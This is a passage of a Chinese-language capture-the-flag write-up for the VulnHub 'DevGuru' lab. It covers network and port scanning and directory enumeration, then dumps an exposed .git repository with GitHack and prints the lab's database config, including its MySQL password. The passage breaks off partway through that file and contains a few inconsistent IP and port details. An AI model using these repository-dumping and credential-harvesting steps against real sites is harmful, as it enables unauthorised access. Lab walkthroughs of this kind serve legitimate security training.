免责声明:本文记录的是 devguru 渗透测试靶机 的解题过程,所有操作均在 本地授权环境 中进行。内容仅供 网络安全学习与防护研究 使用,请勿用于任何非法用途。读者应遵守《网络安全法》及相关法律法规,自觉维护网络空间安全。
环境:
https://download.vulnhub.com/devguru/devguru.ova.7z
描述:
DevGuru是一家虚构的网页开发公司,正在雇佣你进行渗透测试评估。你的任务是发现他们公司网站上的漏洞并获得root权限。
OSCP 类似 ~ 现实生活
难度:中级(视经验而定)
一、信息收集
1、探测目标IP地址
arp-scan -l #探测当前网段的所有ip地址
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:63:b0:05, IPv4: 192.168.5.11
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.5.1 0a:00:27:00:00:04 (Unknown: locally administered)
192.168.5.2 08:00:27:40:1c:42 PCS Systemtechnik GmbH
192.168.5.12 08:00:27:a1:b3:13 PCS Systemtechnik GmbH
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.928 seconds (132.78 hosts/sec). 3 responded
nmap -sP 192.168.5.0/24
┌──(root㉿kali)-[~]
└─# nmap -sP 192.168.5.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-25 06:17 -0500
Nmap scan report for 192.168.5.1
Host is up (0.00014s latency).
MAC Address: 0A:00:27:00:00:04 (Unknown)
Nmap scan report for 192.168.5.2
Host is up (0.00020s latency).
MAC Address: 08:00:27:40:1C:42 (Oracle VirtualBox virtual NIC)
Nmap scan report for chronos.local (192.168.5.12)
Host is up (0.00017s latency).
MAC Address: 08:00:27:A1:B3:13 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.5.11
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.90 seconds
目标IP:192.168.5.12
2、探测目标IP开放端口
nmap -sV -p- -A 192.168.5.12
┌──(root㉿kali)-[~]
└─# nmap -sV -p- -A 192.168.5.12
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-25 06:17 -0500
Nmap scan report for chronos.local (192.168.5.12)
Host is up (0.00023s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
| 256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_ 256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: DevGuru
|_http-title: Corp - DevGuru
| http-git:
| 192.168.5.12:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
|_http-server-header: Apache/2.4.29 (Ubuntu)
8585/tcp open http Golang net/http server
|_http-title: Gitea: Git with a cup of tea
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=55ac241cc3989a75; Path=/; HttpOnly
| Set-Cookie: _csrf=hJEL2GX2rp5cLBat0gZY9mph9-E6MTc3MjA0NzA2ODA3MzMxNTkwMA; Path=/; Expires=Thu, 26 Feb 2026 19:17:48 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Wed, 25 Feb 2026 19:17:48 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=dc43e4750f966881; Path=/; HttpOnly
| Set-Cookie: _csrf=cGouhX4j3WfosVhK6ukRPAYitrs6MTc3MjA0NzA2ODEzODk0NTM3Mg; Path=/; Expires=Thu, 26 Feb 2026 19:17:48 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Wed, 25 Feb 2026 19:17:48 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a c
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8585-TCP:V=7.98%I=7%D=2/25%Time=699EDA5C%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,2A00,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;
SF:\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=55ac241cc3989a75;
SF:\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=hJEL2GX2rp5cLBat0gZY9mp
SF:h9-E6MTc3MjA0NzA2ODA3MzMxNTkwMA;\x20Path=/;\x20Expires=Thu,\x2026\x20Fe
SF:b\x202026\x2019:17:48\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEOR
SF:IGIN\r\nDate:\x20Wed,\x2025\x20Feb\x202026\x2019:17:48\x20GMT\r\n\r\n<!
SF:DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head\x
SF:20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\"v
SF:iewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\t<me
SF:ta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<title>
SF:\x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea\x20</title>\n\t<link
SF:\x20rel=\"manifest\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use-c
SF:redentials\">\n\t<meta\x20name=\"theme-color\"\x20content=\"#6cc644\">\
SF:n\t<meta\x20name=\"author\"\x20content=\"Gitea\x20-\x20Git\x20with\x20a
SF:\x20cup\x20of\x20tea\"\x20/>\n\t<meta\x20name=\"description\"\x20conten
SF:t=\"Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20pai
SF:nless")%r(HTTPOptions,212A,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent
SF:-Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20
SF:Path=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=dc43e4750f
SF:966881;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=cGouhX4j3WfosVhK
SF:6ukRPAYitrs6MTc3MjA0NzA2ODEzODk0NTM3Mg;\x20Path=/;\x20Expires=Thu,\x202
SF:6\x20Feb\x202026\x2019:17:48\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x2
SF:0SAMEORIGIN\r\nDate:\x20Wed,\x2025\x20Feb\x202026\x2019:17:48\x20GMT\r\
SF:n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n
SF:<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20n
SF:ame=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\">
SF:\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t
SF:<title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\x20Git\x20with\x20a\x20c
SF:up\x20of\x20tea\x20</title>\n\t<link\x20rel=\"manifest\"\x20href=\"/man
SF:ifest\.json\"\x20crossorigin=\"use-credentials\">\n\t<meta\x20name=\"th
SF:eme-color\"\x20content=\"#6cc644\">\n\t<meta\x20name=\"author\"\x20cont
SF:ent=\"Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\"\x20/>\n\t<me
SF:ta\x20name=\"description\"\x20content=\"Gitea\x20\(Git\x20with\x20a\x20
SF:c");
MAC Address: 08:00:27:A1:B3:13 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.23 ms chronos.local (192.168.5.12)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.77 seconds
端口:22、80、8585
3、扫描目录
因为我们这个是走代理才访问成功,使用我们不使用dirsearch工具,转试用dirb工具,因为可以指定代理选项。
dirsearch -u http://192.168.5.12
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.5.12
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /root/reports/http_192.168.5.12/_26-02-25_06-18-09.txt
Target: http://192.168.5.12/
[06:18:09] Starting:
[06:18:12] 301 - 311B - /.git -> http://192.168.5.12/.git/
[06:18:12] 200 - 13B - /.git/COMMIT_EDITMSG
[06:18:12] 200 - 276B - /.git/config
[06:18:12] 200 - 23B - /.git/HEAD
[06:18:12] 200 - 73B - /.git/description
[06:18:12] 200 - 308KB - /.git/index
[06:18:12] 200 - 240B - /.git/info/exclude
[06:18:12] 200 - 158B - /.git/logs/HEAD
[06:18:12] 301 - 321B - /.git/logs/refs -> http://192.168.5.12/.git/logs/refs/
[06:18:12] 301 - 327B - /.git/logs/refs/heads -> http://192.168.5.12/.git/logs/refs/heads/
[06:18:12] 200 - 158B - /.git/logs/refs/heads/master
[06:18:12] 301 - 329B - /.git/logs/refs/remotes -> http://192.168.5.12/.git/logs/refs/remotes/
[06:18:12] 301 - 336B - /.git/logs/refs/remotes/origin -> http://192.168.5.12/.git/logs/refs/remotes/origin/
[06:18:12] 200 - 142B - /.git/logs/refs/remotes/origin/master
[06:18:12] 200 - 41B - /.git/refs/heads/master
[06:18:12] 301 - 322B - /.git/refs/heads -> http://192.168.5.12/.git/refs/heads/
[06:18:12] 301 - 324B - /.git/refs/remotes -> http://192.168.5.12/.git/refs/remotes/
[06:18:12] 301 - 331B - /.git/refs/remotes/origin -> http://192.168.5.12/.git/refs/remotes/origin/
[06:18:12] 200 - 41B - /.git/refs/remotes/origin/master
[06:18:12] 301 - 321B - /.git/refs/tags -> http://192.168.5.12/.git/refs/tags/
[06:18:12] 200 - 413B - /.gitignore
[06:18:12] 404 - 274B - /.gitignore/
[06:18:12] 200 - 2KB - /.htaccess
[06:18:12] 404 - 274B - /.htaccess/
[06:18:21] 200 - 3KB - /About
[06:18:21] 200 - 3KB - /about
[06:18:30] 200 - 2KB - /adminer.php
[06:18:35] 302 - 406B - /backend/ -> http://192.168.5.12/backend/backend/auth
[06:18:40] 301 - 313B - /config -> http://192.168.5.12/config/
[06:18:53] 200 - 3KB - /index.php
[06:19:02] 301 - 314B - /modules -> http://192.168.5.12/modules/
[06:19:10] 301 - 314B - /plugins -> http://192.168.5.12/plugins/
[06:19:12] 200 - 1KB - /README.md
[06:19:15] 200 - 0B - /server.php
[06:19:16] 200 - 2KB - /services/
[06:19:16] 200 - 2KB - /services
[06:19:20] 301 - 314B - /storage -> http://192.168.5.12/storage/
[06:19:23] 301 - 313B - /themes -> http://192.168.5.12/themes/
Task Completed
dirb http://192.168.5.12
┌──(root?kali)-[~]
└─# dirb http://192.168.5.12
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Feb 25 06:18:12 2026
URL_BASE: http://192.168.5.12/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.5.12/ ----
+ http://192.168.5.12/.git/HEAD (CODE:200|SIZE:23)
+ http://192.168.5.12/.htaccess (CODE:200|SIZE:1678)
+ http://192.168.5.12/0 (CODE:200|SIZE:12664)
+ http://192.168.5.12/about (CODE:200|SIZE:18656)
+ http://192.168.5.12/About (CODE:200|SIZE:18656)
+ http://192.168.5.12/backend (CODE:302|SIZE:406)
==> DIRECTORY: http://192.168.5.12/config/
+ http://192.168.5.12/index.php (CODE:200|SIZE:12714)
==> DIRECTORY: http://192.168.5.12/modules/
==> DIRECTORY: http://192.168.5.12/plugins/
+ http://192.168.5.12/services (CODE:200|SIZE:10026)
+ http://192.168.5.12/Services (CODE:200|SIZE:10026)
==> DIRECTORY: http://192.168.5.12/storage/
==> DIRECTORY: http://192.168.5.12/themes/
==> DIRECTORY: http://192.168.5.12/vendor/
---- Entering directory: http://192.168.5.12/config/ ----
---- Entering directory: http://192.168.5.12/modules/ ----
==> DIRECTORY: http://192.168.5.12/modules/backend/
==> DIRECTORY: http://192.168.5.12/modules/cms/
==> DIRECTORY: http://192.168.5.12/modules/system/
---- Entering directory: http://192.168.5.12/plugins/ ----
---- Entering directory: http://192.168.5.12/storage/ ----
==> DIRECTORY: http://192.168.5.12/storage/app/
==> DIRECTORY: http://192.168.5.12/storage/cms/
==> DIRECTORY: http://192.168.5.12/storage/framework/
==> DIRECTORY: http://192.168.5.12/storage/logs/
==> DIRECTORY: http://192.168.5.12/storage/temp/
---- Entering directory: http://192.168.5.12/themes/ ----
==> DIRECTORY: http://192.168.5.12/themes/business/
==> DIRECTORY: http://192.168.5.12/themes/demo/
---- Entering directory: http://192.168.5.12/vendor/ ----
==> DIRECTORY: http://192.168.5.12/vendor/bin/
==> DIRECTORY: http://192.168.5.12/vendor/composer/
---- Entering directory: http://192.168.5.12/modules/backend/ ----
==> DIRECTORY: http://192.168.5.12/modules/backend/assets/
==> DIRECTORY: http://192.168.5.12/modules/backend/classes/
==> DIRECTORY: http://192.168.5.12/modules/backend/controllers/
==> DIRECTORY: http://192.168.5.12/modules/backend/database/
==> DIRECTORY: http://192.168.5.12/modules/backend/helpers/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/
==> DIRECTORY: http://192.168.5.12/modules/backend/layouts/
==> DIRECTORY: http://192.168.5.12/modules/backend/models/
==> DIRECTORY: http://192.168.5.12/modules/backend/skins/
==> DIRECTORY: http://192.168.5.12/modules/backend/views/
==> DIRECTORY: http://192.168.5.12/modules/backend/widgets/
---- Entering directory: http://192.168.5.12/modules/cms/ ----
==> DIRECTORY: http://192.168.5.12/modules/cms/assets/
==> DIRECTORY: http://192.168.5.12/modules/cms/classes/
==> DIRECTORY: http://192.168.5.12/modules/cms/components/
==> DIRECTORY: http://192.168.5.12/modules/cms/contracts/
==> DIRECTORY: http://192.168.5.12/modules/cms/controllers/
==> DIRECTORY: http://192.168.5.12/modules/cms/database/
==> DIRECTORY: http://192.168.5.12/modules/cms/helpers/
==> DIRECTORY: http://192.168.5.12/modules/cms/lang/
==> DIRECTORY: http://192.168.5.12/modules/cms/models/
==> DIRECTORY: http://192.168.5.12/modules/cms/views/
==> DIRECTORY: http://192.168.5.12/modules/cms/widgets/
---- Entering directory: http://192.168.5.12/modules/system/ ----
==> DIRECTORY: http://192.168.5.12/modules/system/assets/
==> DIRECTORY: http://192.168.5.12/modules/system/classes/
==> DIRECTORY: http://192.168.5.12/modules/system/console/
==> DIRECTORY: http://192.168.5.12/modules/system/controllers/
==> DIRECTORY: http://192.168.5.12/modules/system/database/
==> DIRECTORY: http://192.168.5.12/modules/system/helpers/
==> DIRECTORY: http://192.168.5.12/modules/system/lang/
==> DIRECTORY: http://192.168.5.12/modules/system/models/
==> DIRECTORY: http://192.168.5.12/modules/system/views/
---- Entering directory: http://192.168.5.12/storage/app/ ----
==> DIRECTORY: http://192.168.5.12/storage/app/media/
==> DIRECTORY: http://192.168.5.12/storage/app/uploads/
---- Entering directory: http://192.168.5.12/storage/cms/ ----
==> DIRECTORY: http://192.168.5.12/storage/cms/cache/
---- Entering directory: http://192.168.5.12/storage/framework/ ----
==> DIRECTORY: http://192.168.5.12/storage/framework/cache/
==> DIRECTORY: http://192.168.5.12/storage/framework/sessions/
==> DIRECTORY: http://192.168.5.12/storage/framework/views/
---- Entering directory: http://192.168.5.12/storage/logs/ ----
---- Entering directory: http://192.168.5.12/storage/temp/ ----
==> DIRECTORY: http://192.168.5.12/storage/temp/media/
==> DIRECTORY: http://192.168.5.12/storage/temp/public/
---- Entering directory: http://192.168.5.12/themes/business/ ----
+ http://192.168.5.12/themes/business/.git/HEAD (CODE:200|SIZE:23)
==> DIRECTORY: http://192.168.5.12/themes/business/assets/
==> DIRECTORY: http://192.168.5.12/themes/business/config/
==> DIRECTORY: http://192.168.5.12/themes/business/layouts/
==> DIRECTORY: http://192.168.5.12/themes/business/pages/
---- Entering directory: http://192.168.5.12/themes/demo/ ----
==> DIRECTORY: http://192.168.5.12/themes/demo/assets/
==> DIRECTORY: http://192.168.5.12/themes/demo/content/
==> DIRECTORY: http://192.168.5.12/themes/demo/layouts/
==> DIRECTORY: http://192.168.5.12/themes/demo/pages/
---- Entering directory: http://192.168.5.12/vendor/bin/ ----
---- Entering directory: http://192.168.5.12/vendor/composer/ ----
---- Entering directory: http://192.168.5.12/modules/backend/assets/ ----
==> DIRECTORY: http://192.168.5.12/modules/backend/assets/css/
==> DIRECTORY: http://192.168.5.12/modules/backend/assets/images/
==> DIRECTORY: http://192.168.5.12/modules/backend/assets/js/
==> DIRECTORY: http://192.168.5.12/modules/backend/assets/vendor/
---- Entering directory: http://192.168.5.12/modules/backend/classes/ ----
---- Entering directory: http://192.168.5.12/modules/backend/controllers/ ----
==> DIRECTORY: http://192.168.5.12/modules/backend/controllers/auth/
==> DIRECTORY: http://192.168.5.12/modules/backend/controllers/index/
==> DIRECTORY: http://192.168.5.12/modules/backend/controllers/media/
==> DIRECTORY: http://192.168.5.12/modules/backend/controllers/preferences/
==> DIRECTORY: http://192.168.5.12/modules/backend/controllers/users/
---- Entering directory: http://192.168.5.12/modules/backend/database/ ----
---- Entering directory: http://192.168.5.12/modules/backend/helpers/ ----
---- Entering directory: http://192.168.5.12/modules/backend/lang/ ----
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/ar/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/be/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/bg/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/ca/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/cs/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/da/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/de/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/el/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/en/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/es/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/et/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/fa/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/fi/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/fr/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/hu/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/id/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/it/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/ja/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/kr/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/lt/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/lv/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/nl/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/pl/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/ro/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/rs/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/ru/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/sk/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/sl/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/sv/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/th/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/tr/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/uk/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/zh-cn/
==> DIRECTORY: http://192.168.5.12/modules/backend/lang/zh-tw/
---- Entering directory: http://192.168.5.12/modules/backend/layouts/ ----
---- Entering directory: http://192.168.5.12/modules/backend/models/ ----
==> DIRECTORY: http://192.168.5.12/modules/backend/models/user/
---- Entering directory: http://192.168.5.12/modules/backend/skins/ ----
---- Entering directory: http://192.168.5.12/modules/backend/views/ ----
==> DIRECTORY: http://192.168.5.12/modules/backend/views/mail/
---- Entering directory: http://192.168.5.12/modules/backend/widgets/ ----
==> DIRECTORY: http://192.168.5.12/modules/backend/widgets/filter/
==> DIRECTORY: http://192.168.5.12/modules/backend/widgets/form/
==> DIRECTORY: http://192.168.5.12/modules/backend/widgets/lists/
==> DIRECTORY: http://192.168.5.12/modules/backend/widgets/search/
==> DIRECTORY: http://192.168.5.12/modules/backend/widgets/table/
==> DIRECTORY: http://192.168.5.12/modules/backend/widgets/toolbar/
---- Entering directory: http://192.168.5.12/modules/cms/assets/ ----
==> DIRECTORY: http://192.168.5.12/modules/cms/assets/css/
==> DIRECTORY: http://192.168.5.12/modules/cms/assets/images/
==> DIRECTORY: http://192.168.5.12/modules/cms/assets/js/
==> DIRECTORY: http://192.168.5.12/modules/cms/assets/vendor/
---- Entering directory: http://192.168.5.12/modules/cms/classes/ ----
==> DIRECTORY: http://192.168.5.12/modules/cms/classes/asset/
==> DIRECTORY: http://192.168.5.12/modules/cms/classes/content/
==> DIRECTORY: http://192.168.5.12/modules/cms/classes/layout/
==> DIRECTORY: http://192.168.5.12/modules/cms/classes/page/
==> DIRECTORY: http://192.168.5.12/modules/cms/classes/theme/
---- Entering directory: http://192.168.5.12/modules/cms/components/ ----
---- Entering directory: http://192.168.5.12/modules/cms/contracts/ ----
---- Entering directory: http://192.168.5.12/modules/cms/controllers/ ----
(!) FATAL: Too many errors connecting to host
(Possible cause: COULDNT CONNECT)
-----------------
END_TIME: Wed Feb 25 07:14:20 2026
DOWNLOADED: 156836 - FOUND: 10
4、域名识别

whatweb -v http://192.168.5.12/
┌──(root㉿kali)-[~]
└─# whatweb -v http://192.168.5.12/
WhatWeb report for http://192.168.5.12/
Status : 200 OK
Title : Corp - DevGuru
IP : 192.168.5.12
Country : RESERVED, ZZ
Summary : Apache[2.4.29], Cookies[october_session], Email[support@devguru.loca,support@gmail.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], HttpOnly[october_session], MetaGenerator[DevGuru], Script, X-UA-Compatible[IE=edge]
Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.29 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ Cookies ]
Display the names of cookies in the HTTP headers. The
values are not returned to save on space.
String : october_session
[ Email ]
Extract email addresses. Find valid email address and
syntactically invalid email addresses from mailto: link
tags. We match syntactically invalid links containing
mailto: to catch anti-spam email addresses, eg. bob at
gmail.com. This uses the simplified email regular
expression from
http://www.regular-expressions.info/email.html for valid
email address matching.
String : support@devguru.loca,support@gmail.com
String : support@gmail.com
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : Apache/2.4.29 (Ubuntu) (from server string)
[ HttpOnly ]
If the HttpOnly flag is included in the HTTP set-cookie
response header and the browser supports it then the cookie
cannot be accessed through client side script - More Info:
http://en.wikipedia.org/wiki/HTTP_cookie
String : october_session
[ MetaGenerator ]
This plugin identifies meta generator tags and extracts its
value.
String : DevGuru
[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.
[ X-UA-Compatible ]
This plugin retrieves the X-UA-Compatible value from the
HTTP header and meta http-equiv tag. - More Info:
http://msdn.microsoft.com/en-us/library/cc817574.aspx
String : IE=edge
HTTP Headers:
HTTP/1.1 200 OK
Date: Wed, 25 Feb 2026 19:20:57 GMT
Server: Apache/2.4.29 (Ubuntu)
Cache-Control: no-cache, private
Set-Cookie: october_session=eyJpdiI6IlYxUkExYTVWVWF4V0NUbERoK1k2VFE9PSIsInZhbHVlIjoiU2JmaEloZlVnUEpUNEFrb1wvNExPV1laYlAxM25jTmVjODRuc3dtQzRGMzlaUXRDQ05pVDlHRm84SFdmeDZ6bmljR0oraytmdnZuSGc4OVwvcGJ0d2NrS3ZuUE5pRU5raHFsXC9TUldBSGhpbndvQ1NEMmpFajBzVTRiZGtEOHlWR28iLCJtYWMiOiJjMThjZmY3OGI4OTAwNmU5M2M2ZTQ2MWM3YTQ0NzdmNWRmZDJhOGQ0MzM1Y2Y2YTExMzc3MzUxODMxNWRiNjU0In0%3D; expires=Wed, 25-Feb-2026 21:20:57 GMT; Max-Age=7200; path=/; httponly
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3195
Connection: close
Content-Type: text/html; charset=UTF-8
二、漏洞利用
0、域名配置
由于收集到的信息的时候(扫描22端口),发现git库和一个域名
192.168.5.10:80/.git/
http://devguru.local:8585/frank/devguru-website.git
写入域名:
192.168.5.12 devguru.local
1、下载git源代码
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
python GitHack.py -u http://192.168.5.12/.git/
查看config文件中的database.php文件
┌──(root㉿kali)-[~/GitHack-master]
└─# ls
192.168.5.12 GitHack.py index lib README.md
┌──(root㉿kali)-[~/GitHack-master]
└─# cd 192.168.5.12
┌──(root㉿kali)-[~/GitHack-master/192.168.5.12]
└─# ls
adminer.php artisan bootstrap config index.php modules plugins README.md server.php storage themes
┌──(root㉿kali)-[~/GitHack-master/192.168.5.12]
└─# cd config
┌──(root㉿kali)-[~/GitHack-master/192.168.5.12/config]
└─# ls
app.php broadcasting.php cms.php database.php filesystems.php queue.php session.php
auth.php cache.php cookie.php environment.php mail.php services.php view.php
┌──(root㉿kali)-[~/GitHack-master/192.168.5.12/config]
└─# pwd
/root/GitHack-master/192.168.5.12/config
┌──(root㉿kali)-[~/GitHack-master/192.168.5.12/config]
└─# cat database.php
<?php
return [
/*
|--------------------------------------------------------------------------
| PDO Fetch Style
|--------------------------------------------------------------------------
|
| By default, database results will be returned as instances of the PHP
| stdClass object; however, you may desire to retrieve records in an
| array format for simplicity. Here you can tweak the fetch style.
|
*/
'fetch' => PDO::FETCH_CLASS,
/*
|--------------------------------------------------------------------------
| Default Database Connection Name
|--------------------------------------------------------------------------
|
| Here you may specify which of the database connections below you wish
| to use as your default connection for all database work. Of course
| you may use many connections at once using the Database library.
|
*/
'default' => 'mysql',
/*
|--------------------------------------------------------------------------
| Database Connections
|--------------------------------------------------------------------------
|
| Here are each of the database connections setup for your application.
| Of course, examples of configuring each database platform that is
| supported by Laravel is shown below to make development simple.
|
|
| All database work in Laravel is done through the PHP PDO facilities
| so make sure you have the driver for your particular database of
| choice installed on your machine before you begin development.
|
*/
'connections' => [
'sqlite' => [
'driver' => 'sqlite',
'database' => 'storage/database.sqlite',
'prefix' => '',
],
'mysql' => [
'driver' => 'mysql',
'engine' => 'InnoDB',
'host' => 'localhost',
'port' => 3306,
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
'charset' => 'utf8mb4',
'collation' => 'utf8mb4_unicode_ci',
'prefix' => '',
'varcharmax' => 191,
],
'pgsql' => [
'driver' => 'pgsql',
'host' => 'localhost',
'port' => 5432,
'database' => 'database',
'username' => 'root',
'password' => '',
'charset' => 'utf8',
'prefix' => '',
'schema' => 'public',
],
'sqlsrv' => [
'driver' => 'sqlsrv',
'host' => 'localhost',
'port' => 1433,
'database' => 'database',
'username' => 'root',
'password' => '',
'prefix' => '',
],
],
/*
|--------------------------------------------------------------------------
| Migration Repository Table
|--------------------------------------------------------------------------
|
| This table keeps track of all the migrations that have already run for
| your application. Using this information, we can determine which of
| the migrations on disk have not actually be run in the databases.
|
*/
'migrations' => 'migrations',
/*
